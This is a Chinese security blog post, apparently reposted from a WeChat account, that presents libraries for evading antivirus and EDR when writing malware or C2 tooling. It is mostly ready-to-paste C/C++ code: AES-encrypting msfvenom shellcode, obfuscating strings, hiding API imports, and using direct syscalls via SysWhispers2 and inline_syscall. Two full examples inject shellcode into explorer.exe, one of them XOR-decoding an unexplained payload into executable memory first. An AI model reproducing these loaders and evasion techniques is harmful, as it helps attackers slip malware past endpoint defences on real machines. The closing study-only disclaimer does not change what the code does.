免杀必会- 规避杀软的库

admin 2022年10月1日22:03:47评论154 views字数 9675阅读32分15秒阅读模式
免杀必会- 规避杀软的库

点击上方“蓝字”,关注更多精彩


免杀必会- 规避杀软的库

前言

在编写恶意软件时,我们时常会用到系统的一些库,库的使用是非常简单,好用的,只需要导入头文件,那么就可以使用相应的api或函数,但是如果用于免杀或者c2,但是在EDR和终端软件横行的现在,不太“好”,下面将是我们在做免杀时或自己开发c2时常用的一些库,有现成调用代码,复制粘贴即可使用。

加密库

做免杀时或自己开发c2时,加密话题是永远离不开的,无论是代码加密,流量加密,或者是内存加密,都是十分重要的,且必须的环节,windows 中也有许多和加密有关的库,但是比较常用的和加密效果比较好的,那么就是AES加密,在windows中实现AES最省事代码量最小的的办法就是使用https://github.com/kokke/tiny-AES-c 这个库,导入简单,调用APi也十分简单。

要使用这个库,只需将以下头文件和源文件添加到您的项目中。

  • AES.hpp

  • aes.h

  • aes.c

添加好直接使用就行,如下:

#include <Windows.h>#include <stdio.h>#include "lib/aes.hpp"
int main(){ unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey"; unsigned char iv[] = "x9dx02x35x3bxa3x4bxecx26x13x88x58x51x11x47xa5x98"; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize); #相应的解谜的话,只需使用该AES_CBC_decrypt_buffer()函数。 printf("Encrypted buffer:n"); for (int i = 0; i < shellcodeSize - 1; i++) { printf("\x%02x", shellcode[i]); } printf("n");}

这种可以用来,加密内存,加密shellcode,加密文件什么的,都是十分好用的。

隐藏api 库

从恶意软件分析来讲,杀软静态分析会提取exe文件中的字符串来进行恶意行为比对统计,进行阈值估算,如果一个exe中,高危字符串太多了,比如VirtualAllocEx,WriteProcessMemory,CreateRemoteThread等,超过了阈值,那么很有可能都过不了杀软的静态分析,所以在恶意软件中,常常会加密字符串,这是比较低层次的规避。

那么比较好用的就是skCrypter,github地址:https://github.com/skadro-official/skCrypter ,他的定位为:编译时,用户模式 + 内核模式,用于 C++11+ 的安全且轻量级的字符串加密器库。

使用也十分简单,要使用它,只需导入头文件skCrypter.h并将要混淆的字符串放在skCrypt()函数中,以下为实例:

#include <Windows.h>#include <stdio.h>#include "lib/skCrypter.h"
int main(){ typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER); pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution")); int msDelaynumber = 10000; LARGE_INTEGER delayInterval; delayInterval.QuadPart = -10000 * msDelaynumber; NtDelayExecution(FALSE, &delayInterval); printf("Done!n");}

现在的杀软来说,加密字符串是远远不够了,熟悉pe文件结构的都知道,我们程序用到的函数,API地址基本上都会在地址表 (IAT)中,杀软也知道,所以都会去读取二进制文件的IAT并检查是否存在导入/使用的危险/恶意功能,那么我们如何规避勒?

我们可以用lazy importer 库,github地址:https://github.com/JustasMasiulis/lazy_importer

使用巨简单,导入头文件lazy_importer.hpp并调用LI_FN()函数,以下,隐藏CreateProcessW api

#include <Windows.h>#include "lib/lazy_importer.hpp"
int main(){
PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; #CreateProcessW(L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); #注意:NULL将值更改为nullptr否则会出现编译错误。 LI_FN(CreateProcessW)(L"C:\Windows\System32\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);}

这种终归指标不治本,因为现在杀软的hook技术很成熟了,这种级别的规避是不够看的,所以现在常用的就是系统调用来替换我们常用的系统api。

github地址:https://github.com/jthuraisamy/SysWhispers2

之前我有一篇文章:手把手教你使用系统调用,也是讲的这个,那个比较详细,所以这里不细讲。

使用步骤如下:

先生成头文件,asm文件

python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls
  1. 将生成的 H/C/ASM 文件复制到项目文件夹中。

  2. 在 Visual Studio 中,转到 Project → Build Customizations... 并启用 MASM。

  3. 在解决方案资源管理器中,将 .h 和 .c/.asm 文件分别作为头文件和源文件添加到项目中。

  4. 转到 ASM 文件的属性,并将 Item Type 设置为 Microsoft Macro Assembler。

  5. 确保项目平台设置为 x64,目前不支持 32 位项目。

  6. 现在可以使用Nt* 函数,例如:

#include <Windows.h>#include "lib/syscalls.h"
int main(int argc, char* argv[]){ // PID of explorer.exe DWORD pid = 11256;
// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00"; SIZE_T shellcodeSize = sizeof(shellcode);
HANDLE hProcess; OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) }; CLIENT_ID clientId = { (HANDLE)pid, NULL }; NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL; NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);
HANDLE hThread; NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
NtClose(hProcess); NtClose(hThread);
return 0;}

但是现在SysWhispers2 已经被杀软标记了,但是杀软标记也十分有限的,改改还是能过的。

SysWhispers2不行的话还有另一个库inline_syscall,相对免杀效果比较好,因为热度不是SysWhispers2那么高。

本质的话,还是通过优化、可内联且易于使用的方式生成直接系统调用指令的库,使用如下:

1.先导入头文件

  • in_memory_init.hpp

  • inline_syscall.hpp

  • inline_syscall.inl

2.jm::init_syscalls_list()然后在使用INLINE_SYSCALL(function_pointer)INLINE_SYSCALL_T(function_type)宏之前调用初始化函数

// If you already initialized, inline_syscall.hpp contains all you need.#include "inline_syscall/include/in_memory_init.hpp"
// Needs to be called once at startup before INLINE_SYSCALL is used.jm::init_syscalls_list();
// Usage of the main macro INLINE_SYSCALLvoid* allocation = nullptr;SIZE_T size = 0x1000;NTSTATUS status = INLINE_SYSCALL(NtAllocateVirtualMemory)((HANDLE)-1, &allocation, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

如果使用vs,那么需要把平台工具集改成LLVM (clang-cl)

示例代码:

#include <Windows.h>#include "lib/in_memory_init.hpp"
typedef struct _UNICODE_STRING{ USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES{ ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService;} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID{ HANDLE UniqueProcess; HANDLE UniqueThread;} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE{ ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength;} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST{ SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1];} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);
NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);
NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
NTSTATUS NtClose(IN HANDLE Handle);
int main(int argc, char* argv[]){ jm::init_syscalls_list();
// PID of explorer.exe DWORD pid = 4396; unsigned char shellcode[] = "x9cx28xe1x84x90x9fx9fx9fx88xb0x60x60x60x21x31x21x30x32x31x36x28x51xb2x05x28xebx32x00x5ex28xebx32x78x5ex28xebx32x40x5ex28xebx12x30x5ex28x6fxd7x2ax2ax2dx51xa9x28x51xa0xccx5cx01x1cx62x4cx40x21xa1xa9x6dx21x61xa1x82x8dx32x21x31x5ex28xebx32x40x5exebx22x5cx28x61xb0x5exebxe0xe8x60x60x60x28xe5xa0x14x0fx28x61xb0x30x5exebx28x78x5ex24xebx20x40x29x61xb0x83x3cx28x9fxa9x5ex21xebx54xe8x28x61xb6x2dx51xa9x28x51xa0xccx21xa1xa9x6dx21x61xa1x58x80x15x91x5ex2cx63x2cx44x68x25x59xb1x15xb6x38x5ex24xebx20x44x29x61xb0x06x5ex21xebx6cx28x5ex24xebx20x7cx29x61xb0x5ex21xebx64xe8x28x61xb0x21x38x21x38x3ex39x3ax21x38x21x39x21x3ax28xe3x8cx40x21x32x9fx80x38x21x39x3ax5ex28xebx72x89x29x9fx9fx9fx3dx29xa7xa1x60x60x60x60x5ex28xedxf5x7ax61x60x60x5ex2cxedxe5x47x61x60x60x28x51xa9x21xdax25xe3x36x67x9fxb5xdbx80x7dx4ax6ax21xdaxc6xf5xddxfdx9fxb5x28xe3xa4x48x5cx66x1cx6axe0x9bx80x15x65xdbx27x73x12x0fx0ax60x39x21xe9xbax9fxb5x28x05x0cx0cx0fx40x14x08x05x12x05x4ex60x2dx05x13x13x01x07x05x22x0fx18x60"; SIZE_T shellcodeSize = sizeof(shellcode); char key = '`'; for (int i = 0; i < sizeof(shellcode) - 1; i++) { shellcode[i] = shellcode[i] ^ key; }
HANDLE hProcess; OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) }; CLIENT_ID clientId = { (HANDLE)pid, NULL }; #这里使用了远程注入shellcode,并执行的方法 INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
LPVOID baseAddress = NULL; INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL); HANDLE hThread; INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL); INLINE_SYSCALL(NtClose)(hProcess); INLINE_SYSCALL(NtClose)(hThread); return 0;}

这种使用比SysWhispers2更为方便,效果更好。

总结

免杀是多种规避的技术总和!


免杀必会- 规避杀软的库

END

免杀必会- 规避杀软的库


免杀必会- 规避杀软的库


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
免杀必会- 规避杀软的库
免杀必会- 规避杀软的库
免杀必会- 规避杀软的库
免杀必会- 规避杀软的库
扫码关注我们
免杀必会- 规避杀软的库


扫码领hacker资料,常用工具,以及各种福利


免杀必会- 规避杀软的库

转载是一种动力 分享是一种美德


原文始发于微信公众号(Gamma实验室):免杀必会- 规避杀软的库

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日22:03:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀必会- 规避杀软的库http://cn-sec.com/archives/1305105.html

发表评论

匿名网友 填写信息